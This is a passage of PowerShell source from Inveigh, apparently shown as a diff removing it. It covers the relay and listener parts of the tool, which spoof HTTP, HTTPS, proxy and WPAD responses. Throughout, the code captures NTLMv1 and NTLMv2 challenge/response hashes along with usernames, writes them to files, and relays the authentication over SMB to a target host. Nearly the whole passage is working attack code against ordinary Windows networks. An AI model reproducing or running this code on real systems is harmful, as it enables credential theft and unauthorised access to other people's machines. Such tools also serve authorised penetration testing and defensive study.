- $inveigh.console_queue.Add("Received challenge $NTLM_challenge for relay from $Target") - $inveigh.console_queue.Add("Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") - $relay_step = 2 - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") - $inveigh.log.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") - } - - } - else - { - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port - } - - } - else - { - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port - } - - } - elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') - { - $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes - $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes - [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes - $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes - - if($HTTP_NTLM_user_length -gt 0) - { - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes - } - else - { - $HTTP_NTLM_user_string = "" - } - - $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes - $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_client_close = $true - $NTLM_challenge = "" - - if($inveigh.SMB_relay -and $relay_step -eq 2) - { - - if(!$Usernames -or $Usernames -contains $HTTP_NTLM_user_string -or $Usernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - - if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) - { - - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") - } - - $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") - SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_version $SMB_user_ID $SMB_session_ID - $relay_step = 0 - - } - else - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") - } - - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") - $SMB_relay_socket.Close() - $relay_step = 0 - } - - } - else - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") - } - - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_user_string appears to be a machine account") - $SMB_relay_socket.Close() - $relay_step = 0 - } - - } - else - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") - } - - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on SMB relay username list") - $SMB_relay_socket.Close() - $relay_step = 0 - } - - } - - if($proxy_listener) - { - $HTTP_send = $false - } - - } - else - { - $HTTP_client_close = $false - } - - } - - if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) - { - $HTTP_message = $WPADResponse - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) - { - $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - } - - $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary - $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) - $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) - $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) - - if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) - { - $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_header_content_type) - { - $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_header_cache_control) - { - $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_send) - { - $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) - $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse - $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) - $HTTP_stream.Flush() - } - - Start-Sleep -m 10 - $HTTP_request_raw_URL_old = $HTTP_request_raw_URL - $HTTP_client_handle_old = $HTTP_client.Client.Handle - - if($HTTP_client_close) - { - - if($proxy_listener) - { - $HTTP_client.Client.Close() - } - else - { - $HTTP_client.Close() - } - - } - - } - else - { - - if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) - { - $HTTP_client.Close() - $HTTP_client_close = $true - $HTTP_reset_delay = $false - } - else - { - Start-Sleep -m 100 - } - - } - - } - - $HTTP_client.Close() - start-sleep -s 1 - $HTTP_listener.Server.blocking = $false - Start-Sleep -s 1 - $HTTP_listener.Server.Close() - Start-Sleep -s 1 - $HTTP_listener.Stop() -} - -# Control Relay Loop ScriptBlock -$control_relay_scriptblock = -{ - param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime) - - function StopInveigh - { - param ([String]$exit_message) - - if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } - - } - - } - - if($inveigh.running) - { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh exited at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - - Start-Sleep -S 1 - $inveigh.running = $false - } - - if($inveigh.relay_running) - { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - - Start-Sleep -S 1 - $inveigh.relay_running = $false - - } - - $inveigh.HTTPS = $false - } - - if($RunTime) - { - $control_timeout = New-TimeSpan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while($inveigh.relay_running) - { - - if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) - { - Start-Sleep -S 5 - StopInveigh "disabled relay" - } - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - StopInveigh "run time" - } - - } - - if($inveigh.file_output -and -not $inveigh.control) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveAt(0) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveAt(0) - } - - while($inveigh.form_input_file_queue.Count -gt 0) - { - $inveigh.form_input_file_queue[0]|Out-File $inveigh.form_input_out_file -Append - $inveigh.form_input_file_queue.RemoveAt(0) - } - - } - - if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) - { - - while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) - { - $inveigh.console_queue.RemoveAt(0) - } - - } - - Start-Sleep -m 5 - } - - } - -# HTTP Listener Startup Function -function HTTPListener() -{ - $HTTPS_listener = $false - $proxy_listener = $false - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($irkin_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( - $HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument( - $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( - $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( - $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -Start-Sleep -m 50 - -# HTTPS Listener Startup Function -function HTTPSListener() -{ - $HTTPS_listener = $true - $proxy_listener = $false - $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() - $HTTPS_runspace.Open() - $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTPS_powershell = [PowerShell]::Create() - $HTTPS_powershell.Runspace = $HTTPS_runspace - $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($irkin_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( - $HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument( - $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( - $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( - $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null - $HTTPS_powershell.BeginInvoke() > $null -} - -Start-Sleep -m 50 - -# Proxy Listener Startup Function -function ProxyListener() -{ - $HTTPS_listener = $false - $proxy_listener = $true - $proxy_runspace = [RunspaceFactory]::CreateRunspace() - $proxy_runspace.Open() - $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $proxy_powershell = [PowerShell]::Create() - $proxy_powershell.Runspace = $proxy_runspace - $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $proxy_powershell.AddScript($irkin_functions_scriptblock) > $null - $proxy_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $proxy_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $proxy_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $proxy_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( - $ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument( - $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( - $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( - $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null - $proxy_powershell.BeginInvoke() > $null -} - -# Control Relay Startup Function -function ControlRelayLoop() -{ - $control_relay_runspace = [RunspaceFactory]::CreateRunspace() - $control_relay_runspace.Open() - $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_relay_powershell = [PowerShell]::Create() - $control_relay_powershell.Runspace = $control_relay_runspace - $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( - $RelayAutoExit).AddArgument($RunTime) > $null - $control_relay_powershell.BeginInvoke() > $null -} - -# HTTP Server Start -if($HTTP -eq 'Y') -{ - HTTPListener -} - -# HTTPS Server Start -if($HTTPS -eq 'Y') -{ - HTTPSListener -} - -# Proxy Server Start -if($Proxy -eq 'Y') -{ - ProxyListener -} - -# Control Relay Loop Start -if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $RelayAutoExit -or $RunTime) -{ - ControlRelayLoop -} - -# Console Output Loop -try -{ - - if($inveigh.console_output) - { - - if($ConsoleStatus) - { - $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - :console_loop while($inveigh.relay_running -and $inveigh.console_output) - { - - while($inveigh.console_queue.Count -gt 0) - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.console_queue[0]) - } - - $inveigh.console_queue.RemoveAt(0) - } - - {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} - { - - if($ConsoleOutput -eq 'Y') - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - } - - $inveigh.console_queue.RemoveAt(0) - - } - - {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} - { - - if($ConsoleOutput -ne "Low") - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - } - - $inveigh.console_queue.RemoveAt(0) - - } - - default - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) - { - - if($inveigh.cleartext_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) - $inveigh.cleartext_list.Sort() - - foreach($unique_cleartext in $inveigh.cleartext_list) - { - if($unique_cleartext -ne $unique_cleartext_last) - { - Write-Output($unique_cleartext + $inveigh.newline) - } - - $unique_cleartext_last = $unique_cleartext - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv1_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output($unique_NTLMv1 + $inveigh.newline) - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - - $unique_NTLMv1_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) - { - Write-Output($NTLMv1_username + $inveigh.newline) - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv2_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output($unique_NTLMv2 + $inveigh.newline) - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - - $unique_NTLMv2_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) - { - Write-Output($NTLMv2_username + $inveigh.newline) - } - - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) - } - - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - - } - -} -finally -{ - - if($Tool -eq 2) - { - $inveigh.relay_running = $false - } - -} - -} -#End Invoke-InveighRelay - -function Stop-Inveigh -{ -<# -.SYNOPSIS -Stop-Inveigh will stop all running Inveigh functions. -#> - -if($inveigh) -{ - - if($inveigh.running -or $inveigh.relay_running) - { - - if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - } - - } - - } - - if($inveigh.relay_running) - { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - } - - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.relay_running = $false - - } - - if($inveigh.running) - { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - } - - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.running = $false - - } - - $inveigh.HTTPS = $false - Start-Sleep -S 5 - } - else - { - Write-Output("There are no running Inveigh functions") - } - -} - -} - -function Get-Inveigh -{ -<# -.SYNOPSIS -Get-Inveigh will get stored Inveigh data from memory. - -.PARAMETER Console -Get queued console output. This is also the default if no parameters are set. - -.PARAMETER Learning -Get valid hosts discovered through spoofer learning. - -.PARAMETER Log -Get log entries. - -.PARAMETER Cleartext 